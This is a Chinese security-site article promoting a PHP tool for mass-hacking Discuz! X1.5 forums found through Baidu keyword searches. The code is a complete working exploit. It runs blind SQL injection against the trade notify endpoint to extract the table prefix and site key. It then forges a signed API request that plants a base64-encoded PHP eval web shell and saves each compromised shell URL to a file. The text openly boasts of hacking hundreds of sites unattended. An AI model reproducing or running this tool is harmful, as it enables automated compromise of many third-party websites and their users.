首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
0day批量拿站webshell,挖掘机是这样练成的。
来源:vfocus.net 作者:vfocus 发布时间:2011-06-28  

通常一个0day流出到官方出补丁,这段时间大家是不是通过baidu或google搜索关键字在努力的日站,如果你是手工入侵可能你三天黑的站,还没我一个小时黑得多。
下面以DZ x1.5 的getshell为例,原理很简单,通过百度挖掘关键字,从第一页往下一页一页的判断是否是DZ系统,是否存在漏洞,然后批量getshell。这时,我们出去喝杯茶,吃个饭,回来已经黑了几百上千个站了。

通过这个例子,我们可以看出工具能为我们节约很多时间,节约很多人力,但还是要理解工具实现的原理,这样才能事半功倍。

  1. <?php
  2. error_reporting(E_ERROR);
  3. set_time_limit(0);

  4. $keyword = 'inurl:/forum.php';//百度搜索关键字
  5. $timeout = 10; //读取网页超时(秒)
  6. $stratpage = 1; //读取百度起始页
  7. $lastpage = 100; //读取百度尾页

  8. function ReadBaiduList($keyword,$timeout,$nowpage) //返回该页DZ网址列表Array
  9. {
  10.         $tmp = array();
  11.         $data = '';
  12.         $nowpage = ($nowpage-1)*10;
  13.         $fp = @fsockopen('www.baidu.com',80,$errno,$errstr,$timeout);
  14.         @fputs($fp,"GET /s?wd=".urlencode($keyword)."&pn=".$nowpage." HTTP/1.1\r\nHost:www.baidu.com\r\nConnection: Close\r\n\r\n");
  15.         while ($fp && !feof($fp))
  16.         $data .= fread($fp, 1024);
  17.         @fclose($fp);
  18.         preg_match_all("/\}\)\" href\=\"http\:\/\/([^~]*?)\" target\=\"\_blank\"/i",$data,$tmp);
  19.         $num = count($tmp[1]);
  20.         $array = array();
  21.         for($i = 0;$i < $num;$i++)
  22.         {
  23.                 $row = explode('/',$tmp[1][$i]);
  24.                 $array[] = str_replace('http://','',$row[0]);
  25.         }
  26.         return $array;
  27. }

  28. function fw($filename,$filecode,$filemode)
  29. {
  30.         $handle = @fopen($filename,$filemode);
  31.         $key = @fputs($handle,$filecode);
  32.         @fclose($handle);
  33.         return $key;
  34. }

  35. function sign($exp_str)
  36. {
  37.         return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key=");
  38. }

  39. function send($host,$path,$tmp_expstr,$timeout)
  40. {
  41.         $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr);
  42.         return POST($host,80,$path,$expdata,$timeout);
  43. }

  44. function POST($host,$port,$path,$data,$timeout,$cookie='') {
  45.         $buffer = '';
  46.         $fp = fsockopen($host,$port,$errno,$errstr,$timeout);
  47.         fputs($fp, "POST $path HTTP/1.0\r\n");
  48.         fputs($fp, "Host: $host\r\n");
  49.         fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
  50.         fputs($fp, "Content-length: ".strlen($data)."\r\n");
  51.         fputs($fp, "Connection: close\r\n\r\n");
  52.         fputs($fp, $data."\r\n\r\n");
  53.         while(!feof($fp)){$buffer .= fgets($fp,1024);}
  54.         fclose($fp);
  55.         return $buffer;
  56. }

  57. for($p = $stratpage;$p <= $lastpage;$p++)
  58. {
  59.         $ReadList = ReadBaiduList($keyword,$timeout,$p);
  60.         foreach($ReadList as $host)
  61.         {
  62.                 $pre = 'pre_';
  63.                 $path = '/api/trade/notify_credit.php';
  64.                 $tmp_expstr = "'";
  65.                 $hash = array();
  66.                 $hash = array_merge($hash, range(48, 57));
  67.                 $hash = array_merge($hash, range(97, 102));
  68.                 $res = send($host,$path,$tmp_expstr,$timeout);
  69.                 ob_end_flush();
  70.                 if(!stristr($res,'SQL syntax')) {var_dump($res); echo "$host I can ont hack it.\n"; continue;}
  71.                 $match = array();
  72.                 preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match);
  73.                 if($match[1]) $pre = $match[1];
  74.                 $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='";
  75.                 $res = send($host,$path,$tmp_expstr,$timeout);
  76.                 if(stristr($res,"doesn't exist"))
  77.                 {
  78.             echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n";
  79.             for($i = 1;$i < 20;$i++)
  80.             {
  81.                     $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='";
  82.                     $res = send($host,$path,$tmp_expstr,$timeout);
  83.                     if(stristr($res,'SQL syntax'))
  84.                     {
  85.                                         $pre = '';
  86.                                         $hash2 = array();
  87.                                         $hash2 = array_merge($hash2, range(48, 57));
  88.                                         $hash2 = array_merge($hash2, range(97, 122));
  89.                                         $hash2[] = 95;
  90.                                         for($j = 1;$j <= $i; $j++){
  91.                                         for ($k = 0; $k <= 255; $k++) {
  92.                                         if(in_array($k, $hash2)) {
  93.                                         $char = dechex($k);
  94.                                         $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='";
  95.                                         $res = send($host,$path,$tmp_expstr,$timeout);
  96.                             if(stristr($res,'SQL syntax')){
  97.                                                 echo chr($k);
  98.                                                 $pre .= chr($k);break;
  99.                                         }
  100.                                         }
  101.                                         }
  102.                                 }     
  103.                         if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{echo 'GET Table_pre Failed..'; continue;};
  104.                         }
  105.                         }
  106.                 };
  107.                 echo "$host Please Waiting....\n";
  108.                 $sitekey = '';
  109.                 for($i = 1;$i <= 32; $i++){
  110.                 for ($k = 0; $k <= 255; $k++) {
  111.                 if(in_array($k, $hash)) {
  112.                         $char = dechex($k);
  113.                         $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='";
  114.                         $res = send($host,$path,$tmp_expstr,$timeout);
  115.                         if(stristr($res,'SQL syntax')){
  116.                                 echo chr($k);
  117.                                 $sitekey .= chr($k);break;
  118.                         }}}}
  119.                 if(strlen($sitekey)!=32)
  120.                 {
  121.                         echo "\nmy_sitekey not found. try blank my_sitekey\n";
  122.                 }
  123.                 else echo "\nmy_sitekey:{$sitekey}\n";

  124.                 echo "\nUploading Shell...";
  125.                 $module = 'video';
  126.                 $method = 'authauth';
  127.                 $params = 'a:3:{i:0;i:1;i:1;s:36:"PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";i:2;s:3:"php";}';
  128.                 $sign = md5($module . '|' . $method . '|' . $params . '|' . $sitekey);
  129.                 $data = "module=$module&method=$method&params=$params&sign=$sign";
  130.                 $path2 = "/api/manyou/my.php";
  131.                 POST($host,80,$path2,$data,$timeout);
  132.                 echo "\nGetting Shell Location...\n";
  133.                 $file = '';
  134.                 for($i = 1;$i <= 32; $i++){
  135.                         for ($k = 0; $k <= 255; $k++) {
  136.                             if(in_array($k, $hash)) {
  137.                                         $char = dechex($k);
  138.                                         $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_member_field_home WHERE uid=1 AND MID(videophoto,{$i},1)=0x{$char} AND ''='";
  139.                                         $res = send($host,$path,$tmp_expstr,$timeout);
  140.                                         if(stristr($res,'SQL syntax')){
  141.                                                 echo chr($k);
  142.                                                 $file .= chr($k);break;
  143.                                         }
  144.                                 }
  145.                         }
  146.                 }
  147.                 $thisshell = "http://$host/data/avatar/". substr($file,0,1) . "/" . substr($file,1,1) . "/$file.php";
  148.                 echo "\nShell: ".$thisshell,"\n";
  149.                 fw('shell.txt',$thisshell."\r\n",'a');
  150.         }
  151. }
  152. ?>

 
[推荐] [评论(5条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
·Metasploit 权限提升
  相关文章
·dedecms 5.7后台拿WEBSHELL
·星外0day实践记录、提权总结
·使用PHP突破Disable_functions执
·测试xss如何获得目标机器系统权
·绕过
·
草尼马入侵记- 杜秋娘劝君莫惜金
·草尼马入侵记 – 莫待无花空折枝
·渗透路路破解通关游戏服务器(图
·特殊的php上传漏洞再到获取linux
·NTP Reply洪水攻击
·sqlinjection下的新型注入&绕过
·()括号代替空格继续注入
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved